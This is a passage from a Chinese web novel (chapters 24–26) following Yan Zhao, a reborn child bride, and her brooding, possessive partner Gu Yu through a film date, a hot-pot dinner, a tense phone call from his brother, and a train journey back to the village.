院子里天还没完全亮，她把炉子搬出来，生了火，把小罐子稳稳当当地放在上面。 这个炉子是真的好用，火不大不小，只要东西放上去，就能一直慢慢熬着，不用人守。 她把米洗干净，又切了点瘦肉，想了想，还是放了几片姜。 顾煜这几天脸色太差了。 汤刚开始咕嘟的时候，隔壁王家婶子端着盆子出来洗菜，瞧见她这边冒着热气，凑过来瞅了一眼。 “小言，你这是在炖东西呀？” 言昭点点头：“嗯，婶子，我家这位最近生病了，身体不太好。” 王婶子上下打量了她一眼，语气像是随口一问：“那晚你们是不是吵架了？” 言昭手上的动作微微一停，很快摇头：“婶子，不是吵架。” “那是怎么了？” 言昭声音放低了些：“那天晚上……是我想回家，他不让。” 话一出口，王婶子先是一愣，随即失笑出声。 “嗐，我还以为多大的事呢。” 她拍了拍手，神情立刻轻松下来：“不是吵架就好。你也真是的，人都来了，怎么还想着走？你男人长得又好，又有本事，你不留在身边，心里不慌啊？” 王婶子说着，目光朝不远处瞥了一眼。 那边屋门半掩着，窗子关得严实，屋里静得很。 王婶子声音压低了几分，带着点过来人的意味：“男人啊，身边还是不能少个人。你要是真走了，到时肯定有人惦记的。” 言昭想了想，到底还是没有把“童养媳”那几个字说出来。 这种事，说出来也没什么好处。 在城里人眼里，更不是什么体面的身份。 她只是低头看着炉子里的小罐，火苗稳稳地舔着底，汤水已经开始冒出细小的泡。 王婶子见她闷声不说话，也没再追问。 她叹了口气，从兜里摸出几颗红枣递了过来。 “这个拿着，红枣炖汤好，补气血，你男人现在这脸色，看着就亏。” 言昭一愣，下意识伸手接过来，连声道：“谢谢婶子。” 王婶子摆摆手，语气随意：“邻里邻居的，客气什么。” 言昭端着肉粥回到屋里时，顾煜已经醒过来了。 他靠在床头，背脊微直，脸色依旧苍白。 手里摊着一本书，翻页的动作不快不慢。 言昭脚步下意识放轻了一点。 顾煜本来就是个很安静的人，但是自从发生这件事后，变得更安静了。 不是冷脸，也不是发脾气，只是话少得可怕。 她主动跟他说话，他也会应。 语气一如既往地温和，可让言昭感觉像是隔着一层看不见的东西。 言昭把肉粥放到桌上，忍不住又看了他一眼。 也不知道是不是她的错觉。 她总觉得，顾煜一直在看着自己。 可每一次她转头去确认，顾煜却又低着头，视线落在书页上，神情安静得没有半点异样。 次数多了，她反倒有点心虚。 有几次，她自己都没察觉是在偷看被顾煜撞了个正着。 言昭站在那儿，心里闷得厉害。 像是有话堵在喉咙口，说不出来，也咽不下去。 她张了张嘴，犹豫了一下，终究还是没多说什么，只低声道：“我给你弄了粥，你吃吧。” “嗯。” 顾煜应得很快，也很短。 言昭转身离开。 在她背过身的那一瞬间，她没看到—— 顾煜翻书的动作停住了。 书页被指尖压得微微起皱。 他的目光抬起，又很快收紧，落在她的背影上。 安静、克制…… …… 顾煜在屋里看书的时候，言昭就在外头忙活。 她还是没放弃那锅酱。 炉子烧得稳，罐子在上头咕嘟咕嘟地响，空气里全是浓浓的香味。 她盛了一点出来，用干净的小碗装好，先给隔壁王婶子送了一份，又给另一家也递了点。 不值什么钱，但这种东西，邻里之间最容易拉近关系。 等她再回来的时候，手里多了两张纸。 是电影票。 言昭低头看着。 票是李家给的。 她其实不太愿意跟李家来往。 一听到这个姓，就总会想起李玲，心里莫名地膈应，总觉得姓李的都不是什么好人。 对方话说得也含蓄，无非是听见那天夜里动静大，也以为他们夫妻吵架了，想着让两人出去散散心。 她捏着那两张票，站在门口发了会儿愣。 纸边被她指尖捻得微微发软。 言昭正低头看着那两张电影票，身后忽然落下一道影子。 她还没反应过来，顾煜已经不知道什么时候走到她身边，微微俯下身，视线落在她手里的纸上。 “哪来的？” 他的声音离得很近，低低的，还呼出温热气息。 言昭被他突然靠近弄得一僵，下意识往旁边让了半步，又觉得这个动作太刻意，只好停住。 “李……李婶子送的。”她声音有点不自然，“说是卖票多出来的。” 顾煜“嗯”了一声，没有多问。 然后他很自然地说：“那今天去看电影吧。” 言昭猛地抬起头，眼睛微微睁大。 她以为自己听错了。 顾煜已经直起身，语气像是在安排一件再普通不过的事：“换衣服。看完我想吃锅子。” 言昭怔了怔。 锅子是什么，她其实不太清楚。 但这些都不重要。 重要的是—— 他愿意主动跟她说话了。 不是“嗯”，不是简短的应付。 那一瞬间，言昭胸口那点一直压着的闷意，忽然松了一下。 她点头点得有点快：“好，我、我去换衣服。” 转身的时候，脚步都轻了几分。 顾煜站在原地，看着她的背影消失在帘子后，神色依旧平静。 只是指尖在桌沿停了一瞬，又慢慢收紧。 …… 言昭换了一条裙子。 其实她自己也说不清为什么会这么做。 只是顾煜的主动，自然得让她下意识就想换一件好看点的。 等裙子套上身，她才后知后觉地意识到这点，脸一下子热起来。 这种反应太明显了，明显得让她有点无所适从。 言昭站在帘子后面，手指攥着裙角，站了好一会儿才慢慢冷静下来。 “穿好了吗？” 顾煜的声音隔着帘子传来。 言昭一惊，立刻回过神：“穿、穿好了，我穿好了。” 帘子被拉开。 顾煜站在那儿，看了她一眼。 目光很短，像是确认，又像是什么都没多想。 然后他低头开始解扣子，根本不避人。 言昭的眼睛一下子睁大了。 她整个人像是被定住了一样，站在原地没动，脑子里空了一瞬，甚至忘了要不要转身出去。 就在这时—— “笃笃。” 敞开的门被敲了两下。 “顾哥在家吗……” 言昭猛地回头。 门口站着个年轻小伙子，本来探头探脑的，一眼就看见屋里顾煜正在脱衣服。 小伙子脸色“唰”地一下变了。 “啊、啊对不起！” 他几乎是条件反射地后退一步，“我、我错了！” 说完转身就走。 言昭哪里还不知道他误会了什么。 她整个人都炸了，几乎是跳着往外走，飞快出了房间，把门一把关上。 门外，小伙子还没来得及跑远。 两个人在门口对视了一眼。 空气里全是尴尬。 “……嫂子。” 小伙子挠了挠头，明显不太敢看她，“是顾哥有个电话，你帮我跟他说一声哈。” 话音刚落，他像是生怕再多待一秒，转身就跑。 言昭站在原地，耳根一直红到脖子。 这时顾煜换好衣服从里面走出来。 他外面套了一件颜色和言昭裙子相近的外套，线条很利落，里面是干净的白衬衫，领口扣得整齐，肩背挺直。 和平时在屋里穿得随意的样子完全不一样。 眉眼干净，轮廓分明，衣服一换，整个人像是从画里走出来的那种人。 言昭愣了一下。 这是她第一次见他穿得这么正式。 也是第一次这么直观地意识到—— 顾煜是真的好看。 她反应慢了半拍，视线不小心停得久了点。 顾煜已经走到她面前，微微俯身看着她，低声道：“走吧。” 言昭这才像是从恍神里被拉了回来，心口轻轻一跳，忙不迭应了一声：“哦，好……” 话刚出口，她又想起刚才的事，赶紧补了一句：“刚刚那个人说……有你的电话。” 顾煜“嗯”了一声，没多说什么，转身往外走。 走到院子口时，天色正好，路上来往的人不少。 他这一身打扮太显眼了。 路过的姑娘不由自主地慢下脚步。 有的只是看一眼，又很快收回视线。 有的回头看了第二眼，才意识到自己失态，脸微微发热。 还有人小声和同伴说了句什么，目光忍不住又落回他身上。 顾煜像是完全没察觉。 步子不快不慢，神情平静，连视线都没有偏过一下。 言昭跟在他身侧，把这一切都看进了眼里。 她忽然有点说不清的感觉。 第24章 顾煜疯狂吃醋 言昭原本以为，是要先去学校接那个电话。 可顾煜脚步一转，直接带着她停在了电影院门口。 顾煜把电影票递给她，说：“你先去检票。” 她点点头，拿着票往前走。 今天门口收票的不是李婶子，换了个年轻些的女人。 那个女人检票时多看了她一眼，也没多说什么，就放了行。 顾煜正好也回来了，手里提着一个纸袋。 言昭有点惊讶。 顾煜没解释，只示意她往里走。 电影院里比她想象中要热闹得多。 人声杂乱，灯光昏暗，到处都是陌生的气味和影子。 言昭从来没看过电影。 上辈子连电视都没正经看过几次，这种地方对她来说，完全是陌生的。 她站在过道口，有点无措，不知道该往哪边走，也不知道座位在哪。 顾煜看了她一眼，伸手牵住她。 掌心温热。 他带着她在一排排座位间穿过去，最后停在两个并排的位置前，让她先坐下。 等两人都坐稳了，顾煜把手里的袋子放到她腿上。 言昭低头一看。 袋子里是烤好的番薯，还有一包花生。 热气还没散，香味一下子冒出来。 她愣了愣。 顾煜低声说：“可以一边吃一边看。” 灯光慢慢暗了下去。 银幕亮起的一瞬间，言昭下意识屏住了呼吸，双手还放在纸袋上，指尖微微收紧。 电影的名字很快出现——牧马人。 女主从很远、很远的地方来。 环境陌生，她站在人群里显得格格不入。 最近被人介绍了男主结婚了。 住进了房子，白天干活，晚上点灯，日子清苦，却慢慢安定下来。 言昭几乎是第一眼，就把自己带了进去。 那种小心翼翼的害怕。 那种明明想留下，却又不敢确认的犹豫。 她低着头，用袖子悄悄擦了一下眼睛。 没过多久，又擦了一次。 第三次的时候，她已经有点控制不住，眼眶发热，视线发虚。 旁边的顾煜一直没动。 他侧着脸看着银幕，又慢慢把视线移到她脸上。 昏暗的光影在他眼底晃过，那目光压得很低，很深，像是被什么缓慢吞没。 唇线抿紧，没有表情。 可带着一种极端专注的阴影感。 然后他伸手过来，牵住了她的手。 言昭完全没察觉。 她还沉在电影里，直到指尖被轻轻捏了一下。 接着，一粒花生被递到她唇边。 她下意识张口。 几乎没嚼，就咽了下去。 喉咙猛地一堵。 言昭一口气没上来，差点呛住，慌忙捂住嘴，肩膀微微一颤。 顾煜立刻凑了过来，两人距离一下子拉得很近。 近到她能闻到他身上那点干净的气味，也能清楚看见他眼底那层暗得发沉的情绪。 他低声问了一句：“慢点。” 声音贴得太近，几乎擦着她的耳侧。 言昭这才彻底回过神。 她后知后觉地意识到，他的手牵着自己，跟着下意识抬眼。 正好看见旁边有几个人回头，目光似有若无地往这边扫了一下。 言昭脸颊瞬间发热，想要把自己的手抽回来。 但是顾煜没有松手。甚至在察觉到那些视线后，指腹反而在她手背上缓慢收紧了一下。 言昭抽不回来自己的手，她只好停下动作，不再挣扎。 幸好电影院里灯光很暗，光影晃动，旁人看不真切。 可当她的注意力从电影里慢慢抽离出来后，就很快发现—— 周围有人时不时往这边看。 不是刻意盯着她。 而是目光总会不自觉地落在顾煜那一侧。 一扫而过。 再过一会儿，又忍不住回头。 此刻电影的光从银幕上折射下来，一明一暗地落在顾煜脸上。 轮廓被勾得很清楚，眉眼深刻，鼻梁挺直。 那种干净又冷淡的好看，在光影下反而更明显了。 这么好看的人，偏偏还牵着她的手。 这个念头一出来，言昭胸口的跳动就不受控制地快了几分。 连呼吸都乱了一拍。 尤其是画面里，男女主的感情一点点推进。 从试探，到靠近。 从并肩，到依赖。 言昭忽然觉得，自己比电影里的人还紧张。 等到电影放映结束，灯光一点点亮起来。 言昭还坐在原地，心口发热，只觉得那部电影太好看了。 女主从陌生的地方来，害怕、犹豫、担心未来，还是一步步走到男主身边。 她看着看着，就忍不住把自己代了进去。 那种被牵着往前走的感觉，真实得让人心口发紧。 就在她还没完全回过神来的时候，顾煜忽然凑近。 他的声音贴着她耳侧落下来，很低，很轻。 “你要是喜欢，”他说，“下次我们还来。” 这一次，言昭没有摇头。 她自己都愣了一下。 以前的她，总是下意识拒绝。 拒绝花钱，拒绝靠近，拒绝所有看起来“不该要”的东西。 可这部电影让她忽然明白，有些事情不是不能要，而是一直没人告诉她，她也可以要。 电影票才三毛钱一张。 顾煜已经把一千块塞到她手里。 有房子。 就算去大澡堂洗澡。 就算偶尔看电影。 一千块也能花很久很久…… 这个念头一冒出来，言昭心里那点紧绷，慢慢松了一些。 她跟着顾煜站起身，随着人流往外走，手还被他牵着。 这一次，她没有急着抽开。 顾煜注意到了。 她这一次没有拒绝。 可这并没有让他觉得轻松，甚至连一点高兴都没有。 她现在的顺从，在他看来更像是一种暂时的妥协，而不是留下的决定。 这个女人到现在，虽然答应了不离开，但是心里肯定还是在想着离开自己。 一想到这里，他心底那点冷意就慢慢翻涌起来，压得很深，却越来越清晰。 既然她总想着走，那就不能再给她任何能走的余地。 不是靠挽留，也不是靠解释，而是把她所有“可以离开”的可能，一点点拆掉。 让她发现，离开他，她什么都做不了。 留在他身边，反而一切都顺理成章。 等到有一天，她没有任何想要走的想法，离不开自己身边才行。 顾煜垂下眼，神色重新变得温和，像是什么都没发生过。 言昭没想到，电话那头的人会是顾城。 她站在一旁，指尖下意识地攥紧了衣角，布料被捏出细小的褶皱。 她其实早就预料过这一天，顾城迟早会打电话过来，只是没想到会这么快。 真正听到这个名字的时候，心口还是猛地一紧，紧张之余，还夹着一点说不清的害怕。 她不知道顾城会对顾煜说什么，更不知道这些话会不会再次把事情搅乱。 可顾煜的反应，却出乎意料地平淡。 他接起电话时神色如常，听着那头的人说话，眉眼没有任何波动。 期间只低低地应了一声“嗯”，再没有多余的回应，像是在听一件与自己无关的事。 言昭站在旁边，甚至看不出他是在认真听，还是早就不在意了。 通话没有持续太久。 最后，顾煜只是淡淡地说了一句：“我会回去一趟。” 电话随即被挂断。 言昭的心却在那一瞬间悬了起来。 顾煜走到招生办窗口前，语气平静地对工作人员说了一句：“下次如果再有找我的电话，直接挂断就行，不用转给我。” 那位工作人员明显愣了一下，似乎没想到他会这么交代，但还是点了点头，应了声“好”。 两人从办公室出来，走廊里人不多，脚步声显得格外清晰。 言昭一路都没说话，只是跟在他身边。 她看着顾煜的侧脸，神色和平时没有任何区别，仿佛刚才那通电话对他而言根本不值一提。 可她心里却越发不安，胸口那点紧绷始终散不开。 终于，她忍不住伸手，轻轻抓住了他的衣角。 顾煜脚步一顿，转头看向她，语气依旧平稳：“怎么了？” 言昭微微仰起头，下意识往他身边靠近了一点，唇瓣动了动。 想说什么，又不知道该从哪一句开始。 还没等她开口，顾煜先一步说话了，语气淡淡的，带着点说不清的意味：“怎么？觉得我没给你接电话？没让你们两个通话？” 言昭愣了一下，立刻摇头，动作有些急：“不是的，我不是这个意思。” 她话说到一半，忽然停住了。 她终于想起来了一件事—— 顾煜竟然知道自己和顾城的事？ 如果这辈子他一清二楚，那上辈子，他是不是也早就知道了？ 知道她喜欢顾城，知道她心里装着别人，知道她所有的选择和退让。 这个念头一冒出来，言昭心口猛地一沉，像是被什么压住了。 那他为什么还要给她钱？ 一笔一笔，从不问缘由，也不计回报。 如果早就知道，那些钱算什么？ 言昭只觉得指尖一点点发凉，连呼吸都变得轻了起来。 顾煜看着她这幅难受模样，他眼神压得很低，很暗。 像是把所有情绪都死死按在深处，潮湿、阴冷。 他没有说话。 下一秒，他伸手过去，攥住了她的手。 不是试探，也不是询问，而是直接收紧，手指一根一根嵌进她的指缝里，十指相扣。 力道让人很疼。 言昭平时只敢在没人的时候才会让他牵手。 现在是大庭广众之下，路上来来往往都是人，她那点根深蒂固的传统和羞涩一下子全冒了出来，耳根迅速发热，下意识就想把手抽回来。 可顾煜没有松。 他只是目视前方，神色恢复成平常的冷静模样，带着她继续往前走。 那种姿态是一种沉默的占有，把她稳稳按在自己身侧，不给退路，也不给解释的机会。 言昭原以为他是要直接带她回家。 可走到一半，顾煜却拐进了一条热闹的街巷，空气里多了股热腾腾的味道。 她愣了一下，抬头看去，才发现是一家吃饭的地方。 门口人来人往，说话声混着笑声，很热闹。 进去之后，言昭才发现，这就是他之前说的“锅子”。 桌子中央摆着一个很大的铜锅，中间竖着一根烟囱似的管子。 锅旁边是清水翻滚，浮着葱段和姜片，热气一阵一阵往上冒。 言昭原本以为两人已经吵架了。 可当她看着眼前顾煜把碗筷一一摆好，杯子推到她手边。 他脸上没有半点不耐烦。 那一瞬间，她心脏用力跳了一下。 她忍不住想起顾城。 以前只要顾城不高兴，不顺心，脸色一沉，话里话外就是威胁，轻则冷落，重则吓唬，像是在提醒她“你离了我什么都不是”。 她总是要先低头，要先服软，才能把让他不生气。 可顾煜不一样。 哪怕他情绪失控，哪怕发过那么大的脾气，也没有把她一个人扔下。 出事的时候，他挡在前面。 她慌的时候，他带着她走。 连现在坐在这张桌子前，他也只是安静地做着这些琐碎的事，好像吃饭本身比所有情绪都重要。 热气从锅里冒出来，白雾一阵阵往上腾，蒸得人眼眶微微发热。 言昭看着翻滚的汤水，心里那点压着的东西到底还是没忍住。 她低声开口，语气很轻的解释：“我不是因为想跟顾城通电话，“我是怕他跟你说我的坏话。” 顾煜正把切好的肉放进锅里，动作在这一刻顿住了。 顾城确实说了不少难听的话，那些话他听得清清楚楚，只是没必要再复述给她听。 他抬起头，看向她：“真的？” 言昭点头，点得很快，像是生怕他不信：“真的。我不想跟他讲话。” 她说这话的时候，语气里没有犹豫，也没有回避，只有一种很明确的拒绝。 顾煜的眸光却慢慢沉了下去，像是往更深的地方压了一层。 他看了她两秒，忽然问：“是因为他结婚了？” 这一句出来，言昭明显怔住了。 她没想到他会这样接话，一时间不知道该怎么回答。 要说还真的是因为他结婚自己才走的，看着这对狗男女在一起，自己怎么能放心！ 顾煜看了她一眼，没有再追问。像是早就预料到这个结果，也像是并不需要一个明确的答案。 他重新低下头，把锅里涮好的肉夹起来，放进她的碗里。 语气随意道：“京市这边，很多人喜欢吃二八酱。” 第25章 顾煜的目光又阴又沉 言昭这才慢慢弄明白，这种“锅子”原来叫火锅。 肉片在清水里只要涮一下，沾上酱就能吃。 而桌上那碗二八酱，是芝麻酱和花生酱按比例调的，颜色浓稠，香味很重。 她原本以为清汤寡水的，没想到肉一沾酱，味道立刻变得厚实起来，又香又顺，完全停不下来。 言昭吃得有点认真，筷子都没怎么停过。 顾煜看在眼里，神色没什么变化，却很自然地又给她涮了几片肉，放进她碗里，低声说：“京市这边，很喜欢吃酱。” 言昭眨了眨眼，像忽然想起什么，抬头看他：“你……是因为我，才来吃这个火锅的吗？” 顾煜夹肉的动作顿住。 他抬眼看向她，那目光压得很低，湿冷而深沉，像被一层潮雾裹住的情绪，死死按在最深处，没有半点外泄，却带着一种无声的、缓缓逼近的压迫感。 他没立刻回答，只看了她两秒，随后收回视线，语气恢复成惯常的平静：“你不是要卖酱吗？不卖了？” 言昭一怔，连忙点头：“要卖的，要卖的。” 顾煜嗯了一声：“吃吧。” 言昭正吃着，忽然想起来，她好像把两人吵架的事情忘了…… 她下意识抬眼去看对面的人。 顾煜神色平静，动作不紧不慢，偶尔给她涮肉，偶尔自己吃几口，看不出半点不耐烦，也没有要翻旧账的意思。 那股一直悬在她心口的紧绷，终于悄悄松了一点。 她暗暗吐了口气，开始认真研究起桌上的酱，她每样都尝了一点，觉得都挺新鲜。 顾煜只静静看着她，目光低垂，深得像热气里藏着一层不肯散开的雾，带着那种安静的、让人心口发紧的专注。 而等言昭吃完，胃里已经胀得发紧，筷子都拿不太稳了。 她低头一看桌子，整个人愣住了。 盘子摞了一叠又一叠…… 这可全是肉啊。 两人竟然吃了这么多。 也不是，顾煜的胃口本来就大，反正都是吃进肚子里面。 言昭站在桌边没动，盯着那一堆盘子看了好一会儿，才猛地想起一件更要命的事。 钱还在她这儿，她得付钱。 但是没想到这一顿竟然要十块钱！ 十块钱，这可是十块钱啊！ 刚才吃的时候没什么实感，这会儿钱真真切切从手里递出去，她心口狠狠抽了一下，指尖都有点发凉。 言昭又默默吸了口气，又把那点心疼往下压了压。 她告诉自己，男孩子本来就得多吃肉，尤其是顾煜这种身体不好、脑子又总是要用的，多吃点也是应该的。 再说了，这钱也是他自己赚的，多吃点也正常。 这么一想，言昭心里那股拧着的感觉才稍微松了一点。 言昭转过身的时候，才发现顾煜并没有站在门口等她。 他面前还站着一个人，似乎是在说话，对方的语气看起来并不轻松，身体微微前倾着。 言昭脚步顿了一下。 她下意识放慢了步子，想着等他们说完再过去也不迟。 可她刚站定没一会儿，顾煜就抬眼看了过来。 他随后抬起手，朝她勾了勾手指，明显示意她过去。 和顾煜说话的那个人也察觉到了动静，顺着顾煜的视线歪了一下脑袋，看了过来。 那一眼落在她身上，带着点打量。 言昭被这一眼看得尴尬了，她低着头过去。 顾煜抬手，直接在那男人胳膊上拍了一下，力道不轻。 男人被拍得吸了口气，下意识收回那肆无忌惮的打量视线。 顾煜语气淡淡：“等我回来再说吧，现在我要跟我媳妇回家了。” 男人愣了一下，很快点头：“行。” 顾煜看她一路都没问，脚步慢了半拍，还是自己先开了口：“我最近在犹豫一件事。” 言昭一怔，下意识抬头看他：“什么？” 夜色压下来，路灯一盏一盏亮着，他的侧脸被光影切得很清晰。 顾煜语气很平，像是在说一件与情绪无关的事：“我现在有两个选择。一个是给私人做东西，钱来得快，也多。第二个是给国家做，钱不会来得很快，可能要等很久。” 他说到这里，脚步停住，转头看她：“你觉得我选哪个？” 言昭听见他竟然找自己商量事情，她有点受宠若惊，自己当然不能拖退，她几乎没怎么犹豫，就开口了。 “我觉得……安全一点的比较好。” 顾煜明显怔住了。 他侧过头看她，目光在她脸上停了几秒，像是在重新确认什么，语气里带着一点真实的疑惑：“你不是最爱钱吗？” 言昭心口轻轻一跳。 她以前确实爱钱。 可那是为了顾城。 为了不被嫌弃、为了有用、为了站得住脚，她才总是从顾煜这里要钱。 这一次言昭脑子转得很快，几乎是瞬间就反应过来自己被他误会了。 言昭抬起眼看他，神色第一次这么认真：“我说真心话，你赚多少都比普通人厉害，给国家的话，慢点没事，但至少不用担心被人拿捏，也没人敢随便动你。” 她说到这里停了一下，像是在给自己一点勇气，又低声补了一句：“而且，我不想你出事。” 顾煜没有立刻回应。 他的视线落在她脸上，很慢，很沉，像是在一点点确认她话里的重量。 那目光并不锋利，却带着一种被压抑到极致的阴冷湿意，安静得反而让人心里发紧。 视线往下移，停在她唇瓣上—— 那里还有他留下的伤口，结了薄薄一层痂，在灯下显得格外刺眼。 顾煜轻轻呼出一口气，像是把什么东西强行压回胸腔里：“你不会……还想离开我身边吧？” 这句话问得很轻，似乎要随风飘散。 言昭几乎是立刻摇头，“不会。”她说得很快，也很清楚，“我不走了。” 顾煜盯着她看了两秒。 那一瞬间，他眼里的情绪极深，又极快地被收了回去，像是什么野兽在阴影里重新伏下。 他没有再追问，也没有再确认，只是转过身，朝前走去。 “回家。” …… 回到家后，言昭其实很想问一问，顾城在电话里到底说了什么。 但是她在看见顾煜神色淡淡地放下听筒，后面也没提一句。 不知道她离开之前让两人染上的病发作没有？ 还是缺钱跟以前那样，理所当然地伸手找顾煜要？ 言昭回来后没有再看顾煜，而是下意识地把那些钱又数了一遍，确认里面的钱都在自己这里，一张不少。 这一次绝对不行。 不管顾城说了什么，不管他现在成了什么样，那都不该再和顾煜扯上半点关系。 这些钱，是顾煜的。 而且言昭很清楚，这一次回去，肯定要闹出点动静来。 顾城不会安分，乡下那些人更不会消停。 可她一点都不怕，甚至巴不得那些事全摊开来，让该知道的人都知道。 言昭正想着这些，抬眼一看，就对上了顾煜的视线。 他坐在椅子上，手里没书，也没动，就那样看着她。 言昭这才意识到，自己刚才一直低头数钱，被他看了个正着。 脸颊一下子热了起来。 她前脚才说自己不爱钱，现在却当着他的面数得这么认真，怎么看都像是在打自己脸。 言昭连忙说：“你听我说，这些钱你不要给任何人。谁来找你要，你都别给。这一次回乡下，也别带着。” 顾煜没说话，只是看着她。 那目光静得有点深，让言昭越说越急：“你看看，藏在哪儿比较好？要不就先放你老师那？” 她说完才意识到，自己几乎是下意识在替他做决定。 可话已经出口，她也没再退，只是抿了抿唇，站在原地，安静地等他的反应。 顾煜终于动了。 他伸手把那叠钱按住，语气平淡得像是在说一件再寻常不过的事：“你拿着就好，想给谁花，就给谁花。” 屋子里一下子静了下来，只剩下灯泡轻轻的嗡鸣声，在安静里显得格外清晰。 言昭下意识开口，语气里带着点迟疑，又有点不安：“……这是你的钱，我怎么能这么随意。” 顾煜语气很淡，像是在陈述一件再普通不过的事实。 “钱在我眼中，只是生活的必需品。必需品一旦拥有，多出来就没什么作用了。” “你在我身边，我才觉得它还有点意义。” “你要是不需要，就扔在这。” “需要的时候，拿去花就行。” 言昭听着他这完全不把钱当一回事的话。 这…… 顾煜把话说完，没有再继续这个话题。 他又说：“明日就去老家吧。你现在先想想，有什么东西要过去带的，再想想，有什么要带回来的。我们就去这一次，以后，也不会再回去了。” 言昭听着怔了片刻，才慢慢点了点头。 她犹豫了一下，还是开口提议：“要不……去大澡堂洗个澡吧？刚吃了火锅，我身上全是味道，这里洗着也不方便。” 顾煜听见她竟然主动开口去洗澡，而不是继续说老家的事情。 他目光在她脸上停了一瞬，没有多问，只点了下头：“好。” 他说完就转身去拿洗澡用的篮子，动作利落又熟稔。 言昭这边去翻衣服，拿换洗的，心里后知后觉地意识到一件事—— 她好像真的被他养得有点娇惯了。 以前这些事，她从来不会开口提，几毛钱洗个澡也会嫌弃贵。 可现在吃了十块钱的火锅后，加上还有顾城在乡下惦记着钱，她觉得几毛钱洗个澡，还是便宜的。 两人一前一后出了门，一起往大澡堂的方向走。 院子的人看见，目光不免多停了一下。 看来两人又感情好了起来。 …… 回去的路上，言昭坐在车厢一角，怀里放着个不大的包。 里面也没装什么要紧东西，就带了两人两套换洗的衣服。 钱她一分没带。 那一叠，全被她藏在家里最里侧的箱底。 身上只揣了十块钱，刚好够路上花。 顾煜坐在她对面，目光时不时落到她怀里的包上。 那种视线很安静，却带着明显的疑惑。 汽车晃了一会儿，他终于还是开口了：“不用再买点东西？” 言昭摇头：“不用。” 过了一会儿，他又问：“不带点钱？” 言昭还是摇头：“路上够用。” 顾煜看了她几秒，像是在判断她是不是认真的。 沉默片刻，他又说了一句：“顾城上次打电话，说他生病了。” 这话落下，车厢里安静了一瞬。 言昭抬起头，看着他，小心翼翼地问：“你很担心顾城吗？” 顾煜几乎没有犹豫：“我希望他死。” 这句话说得很平，语调里没有情绪起伏，像是在陈述一件与自己毫不相干的事实。 言昭：“……” 顾城和顾煜的关系就不好。 不是那种兄弟拌嘴的小打小闹，而是真正的、不掩饰的恶意。 顾城仗着年纪大、在家里更受看重，对顾煜从来没有过半点善意。 抢东西、推搡、当着大人的面挤兑，背地里更是变本加厉。 顾煜自然也从来没把顾城当过哥哥。 后来那次顾煜把顾城往死里打后，两个人之间就只剩下一层薄得不能再薄的关系。 言昭默默低下头，把怀里的包又往怀里收了收，小声补了一句：“……那就不用带了。” 顾煜没再说话，只是目光在她脸上停留了一会儿，又慢慢移开。 车窗外的景色一段一段往后退，言昭靠在椅背上。 她表面看着还是那副安安静静的样子，可心里一点都不平静。 言昭是真的有点激动。 想到这一次回去，终于能亲眼看看那对狗男女现在过成什么样子，她就忍不住在心里翻来覆去地想。 要是过得不好，那她是真的会高兴。 这种情绪她藏得很深。 没有笑出声，也没有多余的动作，只是唇角在她自己都没察觉的时候，悄悄往上翘了一点。 可顾煜还是发现了。 他的目光先是落在她那点微微扬起的唇角上，停了一瞬，又慢慢移到她的眼睛。 那双眼比刚才亮了不少，像是压着什么情绪没说出口，里面的光已经藏不住。 顾煜的视线没有移开。 他看着她那点藏不住的细微反应，像是在一寸一寸地确认什么，终于还是开了口。 “因为能回去见到顾城，”他说得很慢，每一个字都压在喉间，声音低得几乎贴着气息滑出来，“所以你很高兴？” 语调不像质问，更像是情绪被一寸寸拧紧后，从缝隙里渗出的低声确认。 短短一句话，已经把所有的猜测、不悦与隐秘的占有欲一并收拢进去，沉沉压下。 第26章 你男人好，长得也好看 言昭没想到他会发现她很高兴。 她张了张嘴，本能想否认，却在出口前停住了。 不是。 也不全不是。 她确实不是因为惦记顾城。 可若说一点都跟他无关，又好像不是。 言昭想了想，还是如实开口：“出来好久了……就想回去看看，他们现在过得好不好。” 话音刚落，顾煜笑了。 那笑意浮在唇角，不带半点温度，像是精确算出来的弧度。 “顾城跟你最好的朋友结婚了，”他看着她，语气平静得近乎冷漠，“你还想回去看看他们过得好不好？就这么喜欢？” 言昭想说不喜欢，但是这件事本身就很难说清。 她作为顾煜的童养媳，去喜欢他亲哥…… 这种事情只要一解释，听起来也像是在承认什么。 继续澄清下去，反而更像是此地无银三百两。 言昭索性侧过头，避开他的视线，看向车窗外。 窗外的景色一段段掠过，树影、房子，全都模糊成一条线。 下一秒，她的手被人猛地攥住。 力气来得毫无预兆，甚至没有任何缓冲。 顾煜的手指收紧，几乎是死死扣住她的指节，力道大得让她指骨发疼。 言昭下意识想要把手抽回来。 可没抽动。 他握得太紧了。 言昭转头看他，眼里带着一点疼意：“顾煜……” 这一次顾煜没有看她。 他的视线落在前方，侧脸线条冷硬，神色安静得过分。 可那只握着她的手没有丝毫放松的意思，反而又收紧了一点。 …… 两人下车后，顾煜一手提着袋子，另一只手仍旧牵着她。 买票的时候，顾煜直接要了卧铺。 言昭站在一旁，下意识在心里算了一下。 她身上就带了十块钱，要是再买卧铺，怎么想都不太够。 可没等言昭开口，顾煜已经把票买好。 言昭微微一怔。 她明明记得，钱都被她藏在家里了。 顾煜像是察觉到了她的视线，侧过头看她一眼，语气平静：“今天学校给了我五十块餐补。” 言昭愣了一下，下意识应了一声：“啊……”随后才反应过来，又点了点头：“哦，好的。” …… 言昭上次来京市的时候，就已经知道火车上有卧铺。 那时候她还偷偷想过，在火车上睡觉不会滚下来吗？ 可现在，当她真正坐在自己的铺位上时，那点念头全变成了紧张。 床板不算窄，但在狭小的车厢里，还是显得很小。 言昭坐下的时候动作很小心，怕一不留神就碰到什么。 她把包放在里侧，手指在床沿上按了按，确认是实的，这才慢慢坐稳。 顾煜的铺位在她上面。 他把东西放好，说了一句“我去打点热水”，就转身往车厢那头走了。 顾煜前脚刚走，一个中年妇人就凑了过来。 她脸上带着笑，看起来很热络，声音也刻意放得柔和。 “大妹子。”妇人看了眼言昭，又瞄了一眼上铺，“我腰不好，上下爬实在受罪，能不能跟你换个床铺呀？” 说着，妇人抬手指了指隔壁。 言昭顺着这个妇人指的方向看过去。 隔壁那一间铺位，坐着的全是男人，几个人正说笑着抽烟，目光随意往这边扫。 言昭几乎没犹豫，摇了摇头：“抱歉，我不换。” 那妇人脸上的笑立刻僵了一下。 下一秒，表情就变了。 “哎哟，现在的小姑娘怎么这么自私啊。”妇人声音一下子大了起来，像是故意说给周围人听，“我一个上了年纪的，腰不好，你一个年轻的，让一下怎么了？” 车厢里有几道目光被吸引了过来。 妇人越说越来劲：“出门在外，不就该互相帮衬吗？你占着下铺舒服得很，让我一个老人家爬上爬下，也不怕折寿。” 